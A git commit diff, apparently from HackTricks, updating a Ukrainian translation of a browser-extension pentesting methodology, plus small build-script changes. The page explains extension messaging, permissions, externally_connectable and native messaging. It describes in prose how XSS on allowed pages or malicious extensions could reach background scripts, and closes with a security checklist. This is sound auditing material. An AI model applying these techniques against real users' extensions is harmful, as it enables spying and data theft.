Translated ['.github/pull_request_template.md', 'src/1911-pentesting-fox

This commit is contained in:
Translator 2025-01-03 03:46:34 +00:00
parent 98eb16f626
commit f8dfce0b6a
288 changed files with 2350 additions and 2318 deletions

View File

@ -1,6 +1,4 @@
Ви можете видалити цей контент перед відправкою PR:
## Attribution ## Attribution
Ми цінуємо ваші знання і заохочуємо вас ділитися контентом. Будь ласка, переконайтеся, що ви завантажуєте лише той контент, яким володієте, або на який у вас є дозвіл від оригінального автора (додавши посилання на автора в доданому тексті або в кінці сторінки, яку ви змінюєте, або в обох випадках). Ваша повага до прав інтелектуальної власності сприяє надійному та законному середовищу для обміну інформацією для всіх. Ми цінуємо ваші знання і заохочуємо вас ділитися контентом. Будь ласка, переконайтеся, що ви завантажуєте лише той контент, яким володієте, або на який маєте дозвіл від оригінального автора (додавши посилання на автора в доданому тексті або в кінці сторінки, яку ви змінюєте, або в обох випадках). Ваша повага до прав інтелектуальної власності сприяє створенню надійного та легального середовища для обміну інформацією для всіх.
Дякуємо за внесок у HackTricks! Дякуємо за внесок у HackTricks!

View File

@ -22,6 +22,7 @@ after = ["links"]
[preprocessor.hacktricks] [preprocessor.hacktricks]
command = "python3 ./hacktricks-preprocessor.py" command = "python3 ./hacktricks-preprocessor.py"
env = "prod"
[output.html] [output.html]
additional-css = ["theme/pagetoc.css", "theme/tabs.css"] additional-css = ["theme/pagetoc.css", "theme/tabs.css"]

View File

@ -30,14 +30,16 @@ def ref(matchobj):
href = matchobj.groups(0)[0].strip() href = matchobj.groups(0)[0].strip()
title = href title = href
if href.startswith("http://") or href.startswith("https://"): if href.startswith("http://") or href.startswith("https://"):
# pass if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
try: pass
raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read()) else:
match = re.search('<title>(.*?)</title>', raw_html) try:
title = match.group(1) if match else href raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
except Exception as e: match = re.search('<title>(.*?)</title>', raw_html)
logger.debug(f'Error opening URL {href}: {e}') title = match.group(1) if match else href
pass #nDont stop on broken link except Exception as e:
logger.debug(f'Error opening URL {href}: {e}')
pass #nDont stop on broken link
else: else:
try: try:
if href.endswith("/"): if href.endswith("/"):
@ -90,7 +92,7 @@ if __name__ == '__main__':
context, book = json.load(sys.stdin) context, book = json.load(sys.stdin)
logger.debug(f"Context: {context}") logger.debug(f"Context: {context}")
logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
for chapter in iterate_chapters(book['sections']): for chapter in iterate_chapters(book['sections']):
logger.debug(f"Chapter: {chapter['path']}") logger.debug(f"Chapter: {chapter['path']}")

View File

@ -91,7 +91,7 @@ document.body.appendChild(div)
``` ```
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
Повідомлення надсилається на сторінки розширення скриптом контенту, коли натискається ця кнопка, за допомогою [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Це пов'язано з обмеженням скрипта контенту в прямому доступі до API, з `storage`, що є одним з небагатьох винятків. Для функціональностей, що виходять за межі цих винятків, повідомлення надсилаються на сторінки розширення, з якими можуть спілкуватися скрипти контенту. Повідомлення надсилається на сторінки розширення скриптом контенту, коли ця кнопка натискається, через використання [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Це пов'язано з обмеженням скрипта контенту в прямому доступі до API, з `storage`, що є одним з небагатьох винятків. Для функціональностей, що виходять за межі цих винятків, повідомлення надсилаються на сторінки розширення, з якими можуть спілкуватися скрипти контенту.
> [!WARNING] > [!WARNING]
> Залежно від браузера, можливості скрипта контенту можуть трохи відрізнятися. Для браузерів на базі Chromium список можливостей доступний у [документації Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), а для Firefox [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) слугує основним джерелом.\ > Залежно від браузера, можливості скрипта контенту можуть трохи відрізнятися. Для браузерів на базі Chromium список можливостей доступний у [документації Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), а для Firefox [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) слугує основним джерелом.\
@ -101,12 +101,12 @@ document.body.appendChild(div)
Після відображення інструментів розробника потрібно натиснути на **Source tab**, а потім на **Content Scripts** tab. Це дозволяє спостерігати за запущеними скриптами контенту з різних розширень та встановлювати точки зупинки для відстеження потоку виконання. Після відображення інструментів розробника потрібно натиснути на **Source tab**, а потім на **Content Scripts** tab. Це дозволяє спостерігати за запущеними скриптами контенту з різних розширень та встановлювати точки зупинки для відстеження потоку виконання.
### Впроваджені скрипти контенту ### Введені скрипти контенту
> [!TIP] > [!TIP]
> Зверніть увагу, що **скрипти контенту не є обов'язковими**, оскільки також можливо **динамічно** **впроваджувати** скрипти та **програмно впроваджувати їх** на веб-сторінках за допомогою **`tabs.executeScript`**. Це насправді забезпечує більше **докладних контролів**. > Зверніть увагу, що **скрипти контенту не є обов'язковими**, оскільки також можливо **динамічно** **вводити** скрипти та **програмно їх вводити** на веб-сторінки через **`tabs.executeScript`**. Це насправді надає більше **докладних контролів**.
Для програмного впровадження скрипта контенту розширення повинно мати [дозволи хоста](https://developer.chrome.com/docs/extensions/reference/permissions) для сторінки, на яку потрібно впровадити скрипти. Ці дозволи можуть бути отримані або **запитуючи їх** у маніфесті розширення, або на тимчасовій основі через [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab). Для програмного введення скрипта контенту розширення повинно мати [дозволи хоста](https://developer.chrome.com/docs/extensions/reference/permissions) для сторінки, на яку скрипти будуть введені. Ці дозволи можуть бути отримані або **запитуючи їх** в маніфесті розширення, або на тимчасовій основі через [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
#### Приклад розширення на основі activeTab #### Приклад розширення на основі activeTab
```json:manifest.json ```json:manifest.json
@ -176,7 +176,7 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" })
Можливі значення: Можливі значення:
- **`document_idle`**: Коли це можливо - **`document_idle`**: Коли це можливо
- **`document_start`**: Після будь-яких файлів з `css`, але до того, як буде побудовано будь-який інший DOM або виконано будь-який інший скрипт. - **`document_start`**: Після будь-яких файлів з `css`, але до того, як буде побудовано будь-яке інше DOM або запущено будь-який інший скрипт.
- **`document_end`**: Негайно після завершення DOM, але до того, як підресурси, такі як зображення та фрейми, завантажилися. - **`document_end`**: Негайно після завершення DOM, але до того, як підресурси, такі як зображення та фрейми, завантажилися.
#### Via `manifest.json` #### Via `manifest.json`
@ -217,9 +217,9 @@ js: ["contentScript.js"],
- **Автоматичне створення:** Якщо не визначено явно, браузер автоматично створить фонову сторінку. Ця автоматично згенерована сторінка міститиме всі фонові скрипти, зазначені в маніфесті розширення, забезпечуючи безперебійну роботу фонових завдань розширення. - **Автоматичне створення:** Якщо не визначено явно, браузер автоматично створить фонову сторінку. Ця автоматично згенерована сторінка міститиме всі фонові скрипти, зазначені в маніфесті розширення, забезпечуючи безперебійну роботу фонових завдань розширення.
> [!TIP] > [!TIP]
> Зручність, яку надає браузер, автоматично створюючи фонову сторінку (коли вона не оголошена явно), забезпечує інтеграцію та функціонування всіх необхідних фонових скриптів, спрощуючи процес налаштування розширення. > Зручність, яку надає браузер, автоматично створюючи фонову сторінку (коли не оголошено явно), забезпечує інтеграцію та функціонування всіх необхідних фонових скриптів, спрощуючи процес налаштування розширення.
Приклад фонового скрипту: Приклад фонового скрипта:
```js ```js
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
if (request == "explain") { if (request == "explain") {
@ -229,17 +229,17 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
``` ```
Він використовує [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) для прослуховування повідомлень. Коли отримується повідомлення `"explain"`, він використовує [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) для відкриття сторінки в новій вкладці. Він використовує [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) для прослуховування повідомлень. Коли отримується повідомлення `"explain"`, він використовує [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) для відкриття сторінки в новій вкладці.
Щоб налагодити фоновий скрипт, ви можете перейти до **деталей розширення та перевірити сервісний працівник,** це відкриє інструменти розробника з фоновим скриптом: Щоб налагодити фоновий скрипт, ви можете перейти до **деталей розширення та перевірити сервісний робітник,** це відкриє інструменти розробника з фоновим скриптом:
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure> <figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
### Сторінки параметрів та інше ### Сторінки опцій та інше
Розширення браузера можуть містити різні види сторінок: Розширення браузера можуть містити різні види сторінок:
- **Сторінки дій** відображаються в **випадному меню, коли натискається іконка розширення.** - **Сторінки дій** відображаються в **випадному меню, коли натискається іконка розширення.**
- Сторінки, які розширення буде **завантажувати в новій вкладці.** - Сторінки, які розширення буде **завантажувати в новій вкладці.**
- **Сторінки параметрів**: Ця сторінка відображається поверх розширення при натисканні. У попередньому маніфесті в моєму випадку я зміг отримати доступ до цієї сторінки за адресою `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` або натиснувши: - **Сторінки опцій**: Ця сторінка відображається поверх розширення, коли на неї натискають. У попередньому маніфесті в моєму випадку я зміг отримати доступ до цієї сторінки за адресою `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` або натиснувши:
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
@ -250,9 +250,9 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
### `permissions` & `host_permissions` ### `permissions` & `host_permissions`
**`permissions`** та **`host_permissions`** є записами з `manifest.json`, які вказують **які дозволи** має розширення браузера (сховище, місцезнаходження...) і на **яких веб-сторінках**. **`permissions`** та **`host_permissions`** є записами з `manifest.json`, які вказують **які дозволи** має розширення браузера (зберігання, місцезнаходження...) і на **яких веб-сторінках**.
Оскільки розширення браузера можуть бути настільки **привілейованими**, зловмисне або скомпрометоване може дозволити зловмиснику **різні способи викрадення чутливої інформації та шпигунства за користувачем**. Оскільки розширення браузера можуть бути так **привілейованими**, зловмисне або скомпрометоване може дозволити зловмиснику **різні способи викрадення чутливої інформації та шпигунства за користувачем**.
Перевірте, як ці налаштування працюють і як їх можна зловживати в: Перевірте, як ці налаштування працюють і як їх можна зловживати в:
@ -314,7 +314,7 @@ browext-clickjacking.md
{{#endref}} {{#endref}}
> [!TIP] > [!TIP]
> Дозволяючи завантажувати ці сторінки лише через розширення, а не через випадкові URL, можна запобігти атакам ClickJacking. > Дозволяючи завантажувати ці сторінки лише розширенням, а не випадковими URL, можна запобігти атакам ClickJacking.
> [!CAUTION] > [!CAUTION]
> Зверніть увагу, що сторінки з **`web_accessible_resources`** та інші сторінки розширення також можуть **контактувати з фоновими скриптами**. Тому, якщо одна з цих сторінок вразлива до **XSS**, це може відкрити більшу вразливість. > Зверніть увагу, що сторінки з **`web_accessible_resources`** та інші сторінки розширення також можуть **контактувати з фоновими скриптами**. Тому, якщо одна з цих сторінок вразлива до **XSS**, це може відкрити більшу вразливість.
@ -340,15 +340,15 @@ browext-clickjacking.md
> [!CAUTION] > [!CAUTION]
> Якщо веб-сторінка **вразлива до XSS або захоплення** вказана в **`externally_connectable`**, зловмисник зможе **надсилати повідомлення безпосередньо до фонового скрипта**, повністю обходячи Контентний скрипт і його CSP. > Якщо веб-сторінка **вразлива до XSS або захоплення** вказана в **`externally_connectable`**, зловмисник зможе **надсилати повідомлення безпосередньо до фонового скрипта**, повністю обходячи Контентний скрипт і його CSP.
> >
> Тому це є **дуже потужним обходом**. > Отже, це **дуже потужний обхід**.
> >
> Більше того, якщо клієнт встановить шкідливе розширення, навіть якщо йому не дозволено спілкуватися з вразливим розширенням, воно може впроваджувати **XSS дані на дозволеній веб-сторінці** або зловживати **`WebRequest`** або **`DeclarativeNetRequest`** API для маніпуляції запитами на цільовому домені, змінюючи запит сторінки на **файл JavaScript**. (Зверніть увагу, що CSP на цільовій сторінці може запобігти цим атакам). Ця ідея походить [**з цього опису**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability). > Більше того, якщо клієнт встановить шкідливе розширення, навіть якщо йому не дозволено спілкуватися з вразливим розширенням, воно може впроваджувати **XSS дані на дозволеній веб-сторінці** або зловживати **`WebRequest`** або **`DeclarativeNetRequest`** API для маніпуляції запитами на цільовому домені, змінюючи запит сторінки на **JavaScript файл**. (Зверніть увагу, що CSP на цільовій сторінці може запобігти цим атакам). Ця ідея походить [**з цього опису**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
## Підсумок комунікації ## Підсумок комунікації
### Розширення <--> Веб-додаток ### Розширення <--> Веб-додаток
Для комунікації між контентним скриптом і веб-сторінкою зазвичай використовуються повідомлення. Тому в веб-додатку ви зазвичай знайдете виклики функції **`window.postMessage`** і в контентному скрипті слухачі, такі як **`window.addEventListener`**. Зверніть увагу, що розширення також може **спілкуватися з веб-додатком, надсилаючи Post Message** (і тому веб повинен це очікувати) або просто змусити веб завантажити новий скрипт. Для комунікації між контентним скриптом і веб-сторінкою зазвичай використовуються повідомлення. Тому в веб-додатку ви зазвичай знайдете виклики до функції **`window.postMessage`** і в контентному скрипті слухачі, такі як **`window.addEventListener`**. Зверніть увагу, що розширення також може **спілкуватися з веб-додатком, надсилаючи Post Message** (і тому веб повинен це очікувати) або просто змусити веб завантажити новий скрипт.
### Всередині розширення ### Всередині розширення
@ -411,9 +411,9 @@ console.log("Received " + response)
} }
) )
``` ```
## Веб **↔︎** Комунікація скриптів контенту ## Веб **↔︎** Комунікація Скриптів Контенту
Середовища, в яких працюють **скрипти контенту**, і де існують хост-сторінки, **відокремлені** одне від одного, що забезпечує **ізоляцію**. Незважаючи на цю ізоляцію, обидві сторони мають можливість взаємодіяти з **Моделлю об'єктів документа (DOM)** сторінки, спільним ресурсом. Щоб хост-сторінка могла взаємодіяти з **скриптом контенту** або непрямо з розширенням через скрипт контенту, необхідно використовувати **DOM**, доступний обом сторонам, як канал комунікації. Середовища, в яких працюють **скрипти контенту**, і де існують хост-сторінки, **відокремлені** одне від одного, що забезпечує **ізоляцію**. Незважаючи на цю ізоляцію, обидві сторони мають можливість взаємодіяти з **Моделлю Об'єктів Документа (DOM)** сторінки, спільним ресурсом. Щоб хост-сторінка могла взаємодіяти з **скриптом контенту** або непрямо з розширенням через скрипт контенту, необхідно використовувати **DOM**, доступний обом сторонам, як канал комунікації.
### Повідомлення ### Повідомлення
```javascript:content-script.js ```javascript:content-script.js
@ -456,7 +456,7 @@ false
- Контент-скрипт може очікувати повідомлення тільки якщо користувач виконує якусь дію - Контент-скрипт може очікувати повідомлення тільки якщо користувач виконує якусь дію
- **origin domain**: може очікувати повідомлення тільки з дозволеного списку доменів. - **origin domain**: може очікувати повідомлення тільки з дозволеного списку доменів.
- Якщо використовується regex, будьте дуже обережні - Якщо використовується regex, будьте дуже обережні
- **Source**: `received_message.source !== window` може бути використано для перевірки, чи повідомлення було **з того ж вікна**, де слухає Контент-скрипт. - **Source**: `received_message.source !== window` можна використовувати для перевірки, чи повідомлення було **з того ж вікна**, де слухає Контент-скрипт.
Попередні перевірки, навіть якщо вони виконані, можуть бути вразливими, тому перевірте на наступній сторінці **потенційні обходи Post Message**: Попередні перевірки, навіть якщо вони виконані, можуть бути вразливими, тому перевірте на наступній сторінці **потенційні обходи Post Message**:
@ -486,7 +486,7 @@ browext-xss-example.md
Контент-скрипт може використовувати функції [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **або** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) для відправки **одноразового JSON-серіалізованого** повідомлення. Контент-скрипт може використовувати функції [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **або** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) для відправки **одноразового JSON-серіалізованого** повідомлення.
Щоб обробити **відповідь**, використовуйте повернутий **Promise**. Хоча, для зворотної сумісності, ви все ще можете передати **callback** як останній аргумент. Для обробки **відповіді** використовуйте повернутий **Promise**. Хоча, для зворотної сумісності, ви все ще можете передати **callback** як останній аргумент.
Відправка запиту з **контент-скрипта** виглядає так: Відправка запиту з **контент-скрипта** виглядає так:
```javascript ```javascript
@ -525,7 +525,7 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
Важливим моментом є те, що в ситуаціях, коли кілька сторінок налаштовані на отримання подій `onMessage`, **перша сторінка, яка виконає `sendResponse()`** для конкретної події, буде єдиною, яка зможе ефективно доставити відповідь. Будь-які подальші відповіді на ту ж подію не будуть враховані. Важливим моментом є те, що в ситуаціях, коли кілька сторінок налаштовані на отримання подій `onMessage`, **перша сторінка, яка виконає `sendResponse()`** для конкретної події, буде єдиною, яка зможе ефективно доставити відповідь. Будь-які подальші відповіді на ту ж подію не будуть враховані.
При створенні нових розширень перевага повинна надаватися промісам, а не зворотним викликам. Що стосується використання зворотних викликів, функція `sendResponse()` вважається дійсною лише в тому випадку, якщо вона виконується безпосередньо в синхронному контексті або якщо обробник події вказує на асинхронну операцію, повертаючи `true`. Якщо жоден з обробників не повертає `true` або якщо функція `sendResponse()` видаляється з пам'яті (збирається сміття), зворотний виклик, пов'язаний з функцією `sendMessage()`, буде викликаний за замовчуванням. При створенні нових розширень слід віддавати перевагу промісам, а не зворотним викликам. Що стосується використання зворотних викликів, функція `sendResponse()` вважається дійсною лише в тому випадку, якщо вона виконується безпосередньо в синхронному контексті або якщо обробник події вказує на асинхронну операцію, повертаючи `true`. Якщо жоден з обробників не повертає `true` або якщо функція `sendResponse()` видаляється з пам'яті (збирається сміття), зворотний виклик, пов'язаний з функцією `sendMessage()`, буде викликаний за замовчуванням.
## Native Messaging ## Native Messaging
@ -541,7 +541,7 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
``` ```
Де `name` - це рядок, переданий до [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) або [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) для зв'язку з додатком з фонових скриптів розширення браузера. `path` - це шлях до бінарного файлу, є лише 1 дійсний `type`, який є stdio (використовуйте stdin і stdout), а `allowed_origins` вказує на розширення, які можуть отримати доступ до нього (і не можуть мати символи підстановки). Де `name` - це рядок, переданий до [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) або [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) для зв'язку з додатком з фонових скриптів розширення браузера. `path` - це шлях до бінарного файлу, є лише 1 дійсний `type`, який є stdio (використовуйте stdin і stdout), а `allowed_origins` вказує на розширення, які можуть отримати доступ до нього (і не можуть мати символи підстановки).
Chrome/Chromium буде шукати цей json у деяких реєстрах Windows та деяких шляхах у macOS і Linux (більше інформації в [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)). Chrome/Chromium буде шукати цей json у деяких реєстрах Windows і деяких шляхах у macOS і Linux (більше інформації в [**документації**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
> [!TIP] > [!TIP]
> Розширення браузера також потребує дозволу `nativeMessaing`, щоб мати можливість використовувати це спілкування. > Розширення браузера також потребує дозволу `nativeMessaing`, щоб мати можливість використовувати це спілкування.
@ -606,30 +606,30 @@ unzip -d "$extension_id-source" "$extension_id.zip"
### Використовуйте розширення CRX Viewer ### Використовуйте розширення CRX Viewer
Ще один зручний метод - це використання Chrome Extension Source Viewer, який є проектом з відкритим вихідним кодом. Його можна встановити з [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Вихідний код переглядача доступний у його [GitHub репозиторії](https://github.com/Rob--W/crxviewer). Ще один зручний метод - це використання Chrome Extension Source Viewer, який є проектом з відкритим кодом. Його можна встановити з [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Код джерела переглядача доступний у його [GitHub репозиторії](https://github.com/Rob--W/crxviewer).
### Перегляд виходу локально встановленого розширення ### Перегляд коду локально встановленого розширення
Розширення Chrome, встановлені локально, також можна перевірити. Ось як: Розширення Chrome, встановлені локально, також можна перевірити. Ось як:
1. Доступ до вашого локального профілю Chrome, відвідавши `chrome://version/` і знайдіть поле "Profile Path". 1. Доступ до вашого локального профілю Chrome, відвідавши `chrome://version/` і знайдіть поле "Profile Path".
2. Перейдіть до підпапки `Extensions/` у каталозі профілю. 2. Перейдіть до підпапки `Extensions/` у каталозі профілю.
3. Ця папка містить всі встановлені розширення, зазвичай з їх вихідним кодом у читабельному форматі. 3. Ця папка містить всі встановлені розширення, зазвичай з їх кодом джерела у читабельному форматі.
Щоб ідентифікувати розширення, ви можете зіставити їх ID з іменами: Щоб ідентифікувати розширення, ви можете зіставити їх ID з іменами:
- Увімкніть режим розробника на сторінці `about:extensions`, щоб побачити ID кожного розширення. - Увімкніть режим розробника на сторінці `about:extensions`, щоб побачити ID кожного розширення.
- У кожній папці розширення файл `manifest.json` містить читабельне поле `name`, що допомагає вам ідентифікувати розширення. - У кожній папці розширення файл `manifest.json` містить читабельне поле `name`, що допомагає вам ідентифікувати розширення.
### Використовуйте архіватор або розпаковувач файлів ### Використовуйте архіватор або декомпресор
Перейдіть до Chrome Web Store і завантажте розширення. Файл матиме розширення `.crx`. Змініть розширення файлу з `.crx` на `.zip`. Використовуйте будь-який архіватор (такий як WinRAR, 7-Zip тощо), щоб витягти вміст ZIP-файлу. Перейдіть до Chrome Web Store і завантажте розширення. Файл матиме розширення `.crx`. Змініть розширення файлу з `.crx` на `.zip`. Використовуйте будь-який архіватор (такий як WinRAR, 7-Zip тощо), щоб витягти вміст ZIP-файлу.
### Використовуйте режим розробника в Chrome ### Використовуйте режим розробника в Chrome
Відкрийте Chrome і перейдіть до `chrome://extensions/`. Увімкніть "Режим розробника" у верхньому правому куті. Натисніть "Завантажити розпаковане розширення...". Перейдіть до каталогу вашого розширення. Це не завантажує вихідний код, але корисно для перегляду та модифікації коду вже завантаженого або розробленого розширення. Відкрийте Chrome і перейдіть до `chrome://extensions/`. Увімкніть "Режим розробника" у верхньому правому куті. Натисніть "Завантажити розпаковане розширення...". Перейдіть до каталогу вашого розширення. Це не завантажує код джерела, але корисно для перегляду та модифікації коду вже завантаженого або розробленого розширення.
## Набір даних маніфестів розширень Chrome ## Набір даних маніфесту розширення Chrome
Щоб спробувати виявити вразливі браузерні розширення, ви можете використовувати [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) і перевірити їх маніфест-файли на наявність потенційно вразливих ознак. Наприклад, щоб перевірити розширення з більш ніж 25000 користувачів, `content_scripts` та дозволом `nativeMessaing`: Щоб спробувати виявити вразливі браузерні розширення, ви можете використовувати [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) і перевірити їх маніфест-файли на наявність потенційно вразливих ознак. Наприклад, щоб перевірити розширення з більш ніж 25000 користувачів, `content_scripts` та дозволом `nativeMessaing`:
```bash ```bash
@ -642,15 +642,15 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
- [ ] **Обмежити** запитувані **`permissions`** якомога більше - [ ] **Обмежити** запитувані **`permissions`** якомога більше
- [ ] **Обмежити** **`host_permissions`** якомога більше - [ ] **Обмежити** **`host_permissions`** якомога більше
- [ ] Використовувати **сильну** **`content_security_policy`** - [ ] Використовуйте **сильну** **`content_security_policy`**
- [ ] **Обмежити** **`externally_connectable`** якомога більше, якщо це не потрібно і можливо, не залишайте його за замовчуванням, вкажіть **`{}`** - [ ] **Обмежити** **`externally_connectable`** якомога більше, якщо це не потрібно і можливо, не залишайте його за замовчуванням, вкажіть **`{}`**
- [ ] Якщо тут згадується **URL, вразливий до XSS або захоплення**, зловмисник зможе **надсилати повідомлення безпосередньо до фонових скриптів**. Дуже потужний обхід. - [ ] Якщо тут згадується **URL, вразливий до XSS або захоплення**, зловмисник зможе **надсилати повідомлення безпосередньо до фонових скриптів**. Дуже потужний обхід.
- [ ] **Обмежити** **`web_accessible_resources`** якомога більше, навіть порожні, якщо можливо. - [ ] **Обмежити** **`web_accessible_resources`** якомога більше, навіть порожні, якщо можливо.
- [ ] Якщо **`web_accessible_resources`** не порожні, перевірте на [**ClickJacking**](browext-clickjacking.md) - [ ] Якщо **`web_accessible_resources`** не порожнє, перевірте на [**ClickJacking**](browext-clickjacking.md)
- [ ] Якщо відбувається будь-яка **комунікація** від **розширення** до **веб-сторінки**, [**перевірте на XSS**](browext-xss-example.md) **вразливості**, викликані в комунікації. - [ ] Якщо відбувається будь-яка **комунікація** від **розширення** до **веб-сторінки**, [**перевірте на XSS**](browext-xss-example.md) **вразливості**, викликані в комунікації.
- [ ] Якщо використовуються повідомлення Post, перевірте на [**вразливості Post Message**](../postmessage-vulnerabilities/)**.** - [ ] Якщо використовуються повідомлення Post, перевірте на [**вразливості Post Message**](../postmessage-vulnerabilities/)**.**
- [ ] Якщо **Content Script отримує доступ до деталей DOM**, перевірте, що вони **не вводять XSS**, якщо їх **модифікують** веб - [ ] Якщо **Content Script отримує доступ до деталей DOM**, перевірте, що вони **не вводять XSS**, якщо їх **модифікують** веб
- [ ] Зробіть особливий акцент, якщо ця комунікація також залучена в **комунікацію Content Script -> Фоновий скрипт** - [ ] Зробіть особливий акцент, якщо ця комунікація також залучена в **комунікацію Content Script -> фоновий скрипт**
- [ ] Якщо фоновий скрипт спілкується через **native messaging**, перевірте, що комунікація є безпечною та очищеною - [ ] Якщо фоновий скрипт спілкується через **native messaging**, перевірте, що комунікація є безпечною та очищеною
- [ ] **Чутливу інформацію не слід зберігати** всередині коду розширення браузера - [ ] **Чутливу інформацію не слід зберігати** всередині коду розширення браузера
- [ ] **Чутливу інформацію не слід зберігати** всередині пам'яті розширення браузера - [ ] **Чутливу інформацію не слід зберігати** всередині пам'яті розширення браузера
@ -665,16 +665,16 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
### [**Tarnish**](https://thehackerblog.com/tarnish/) ### [**Tarnish**](https://thehackerblog.com/tarnish/)
- Завантажує будь-яке розширення Chrome з наданого посилання на веб-магазин Chrome. - Завантажує будь-яке розширення Chrome з наданого посилання на веб-магазин Chrome.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **переглядач**: просто відображає версію JSON з форматуванням розширення. - [**manifest.json**](https://developer.chrome.com/extensions/manifest) **переглядач**: просто відображає версію JSON з форматуванням маніфесту розширення.
- **Аналіз відбитків**: Виявлення [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) та автоматичне генерування JavaScript для відбитків розширення Chrome. - **Аналіз відбитків**: Виявлення [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) та автоматичне генерування JavaScript для відбитків розширення Chrome.
- **Аналіз потенційного Clickjacking**: Виявлення HTML-сторінок розширення з встановленою директивою [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources). Вони можуть бути вразливими до clickjacking в залежності від мети сторінок. - **Аналіз потенційного Clickjacking**: Виявлення HTML-сторінок розширення з директивою [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources). Вони можуть бути вразливими до clickjacking в залежності від мети сторінок.
- **Переглядач попереджень про дозволи**: який показує список усіх попереджень про запити дозволів Chrome, які будуть відображені при спробі користувача встановити розширення. - **Переглядач попереджень про дозволи**: який показує список усіх попереджень про запити дозволів Chrome, які будуть відображені при спробі користувача встановити розширення.
- **Небезпечні функції**: показує місце розташування небезпечних функцій, які можуть бути потенційно використані зловмисником (наприклад, функції, такі як innerHTML, chrome.tabs.executeScript). - **Небезпечні функції**: показує місце розташування небезпечних функцій, які можуть бути потенційно використані зловмисником (наприклад, функції, такі як innerHTML, chrome.tabs.executeScript).
- **Точки входу**: показує, де розширення приймає вхідні дані від користувача/зовнішніх джерел. Це корисно для розуміння поверхні розширення та пошуку потенційних точок для надсилання зловмисно створених даних до розширення. - **Точки входу**: показує, де розширення приймає вхідні дані від користувача/зовнішні дані. Це корисно для розуміння поверхні розширення та пошуку потенційних точок для надсилання зловмисно створених даних до розширення.
- Як сканери Небезпечних функцій, так і Точок входу мають наступне для своїх згенерованих сповіщень: - Як сканери Небезпечних функцій, так і Точок входу мають наступне для своїх згенерованих сповіщень:
- Відповідний фрагмент коду та рядок, що викликав сповіщення. - Відповідний фрагмент коду та рядок, що викликав сповіщення.
- Опис проблеми. - Опис проблеми.
